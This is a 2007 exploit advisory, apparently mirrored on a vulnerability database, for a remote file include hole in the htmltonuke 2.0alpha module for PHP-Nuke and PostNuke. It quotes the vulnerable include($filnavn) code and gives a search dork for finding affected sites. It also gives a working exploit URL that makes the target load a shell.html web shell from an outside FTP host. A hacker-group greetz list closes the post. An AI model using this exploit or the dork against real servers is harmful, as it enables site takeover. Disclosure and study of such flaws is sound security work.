PHP-Nuke Module htmltonuke 2.0alpha (htmltonuke.php) RFI Vuln

🗓️ 21 Mar 2007 00:00:00Reported by RootType
PHP-Nuke Module htmltonuke 2.0alpha (htmltonuke.php) Remote File Include Vulnerabilities from http://www.desarrollonuke.or

                                                ######################################################
#
#&nbsp;htmltonuke&nbsp;2.0alpha&nbsp;for&nbsp;postnuke&nbsp;&amp;&nbsp;PHP-Nuke(htmltonuke.php)&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerabilities
#
######################################################
#
#&nbsp;script&nbsp;:http://www.desarrollonuke.org
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://up.9q9q.net/up/index.php?f=ddAvVTUSs
#
######################################################
#
#&nbsp;file&nbsp;:&nbsp;&nbsp;/htmltonuke.php
#
######################################################
#
#&nbsp;Dork&nbsp;:&nbsp;&quot;/nuke/htmltonuke.php&quot;&nbsp;-&nbsp;&quot;htmltonuke.php&quot;
#
######################################################
#
#&nbsp;Found&nbsp;by&nbsp;&amp;&nbsp;Contact&nbsp;:&nbsp;Cold&nbsp;z3ro&nbsp;,&nbsp;[email protected]&nbsp;,&nbsp;http://hack-teach.com/
#
######################################################
#&nbsp;//verifie&nbsp;s'il&nbsp;y&nbsp;a&nbsp;l'extension&nbsp;&quot;.htm&quot;
#&nbsp;if(substr($filnavn,-4)!=&quot;.htm&quot;&nbsp;&amp;&amp;&nbsp;substr($filnavn,-5)!=&quot;.html&quot;&nbsp;){
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Only&nbsp;files&nbsp;HTML&nbsp;are&nbsp;authorized...&quot;;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseTable();
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include(&quot;footer.php&quot;);
#&nbsp;}
#&nbsp;else&nbsp;{
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;verifie&nbsp;si&nbsp;l'on&nbsp;remonte&nbsp;dans&nbsp;l'arborescense
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;verifie&nbsp;si&nbsp;l'on&nbsp;sort&nbsp;du&nbsp;site
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(&nbsp;substr($filnavn,0,5)!=&quot;./../&quot;&nbsp;&amp;&amp;&nbsp;substr($filnavn,0,7)!=&quot;http://&quot;&nbsp;){
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;($filnavn);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseTable();
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include(&quot;footer.php&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
#
######################################################
#
#&nbsp;exploit&nbsp;:
http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:[email protected]/public_html/shell.html&nbsp;(or)&nbsp;.htm
#
######################################################

----&nbsp;&nbsp;GreeTz:&nbsp;|MoHaNdKo|&nbsp;&nbsp;|Cold&nbsp;One|&nbsp;&nbsp;|Cold&nbsp;ThreE|&nbsp;|Viper&nbsp;Hacker|&nbsp;|The&nbsp;Wolf&nbsp;KSA|&nbsp;|o0xxdark0o|&nbsp;|OrGanza|&nbsp;|H@mLiT|&nbsp;|Snake12|&nbsp;|Root&nbsp;Shell|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Metoovit|&nbsp;|Fucker_net|&nbsp;|Rageb|&nbsp;|CoDeR|&nbsp;|HuGe|&nbsp;|Str0ke|&nbsp;|Dr.TaiGaR|&nbsp;|BLacK&nbsp;HackErD|&nbsp;|JEeN&nbsp;HacKer|&nbsp;|Nazy&nbsp;L!unx|&nbsp;|KURTEFENDY|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Spid1r&nbsp;Net|&nbsp;|Big&nbsp;Hacker|&nbsp;|Hacccr|&nbsp;|hacoor|&nbsp;||&nbsp;|Geniral&nbsp;C|&nbsp;|Mr.TyrAnT|&nbsp;|Zax|&nbsp;|Zooz|&nbsp;|&nbsp;Al&nbsp;3afreat&nbsp;|&nbsp;|The-Falcon-Ksa|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;The&nbsp;Sniper&nbsp;|&nbsp;.&nbsp;|||&nbsp;Team&nbsp;Hell&nbsp;|||&nbsp;|&nbsp;DearMan&nbsp;|&nbsp;|Pro&nbsp;Hacker|&nbsp;|&nbsp;020&nbsp;|&nbsp;|&nbsp;abdulla00&nbsp;&quot;&nbsp;alz3eem&quot;&nbsp;|&nbsp;|&nbsp;The_Viper&nbsp;|&nbsp;All&nbsp;i&nbsp;know

#Big&nbsp;Thx&nbsp;For&nbsp;:&nbsp;www.4azhar.com&nbsp;,&nbsp;&nbsp;Long&nbsp;Life&nbsp;My&nbsp;HomeLand&nbsp;Palestine
21 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1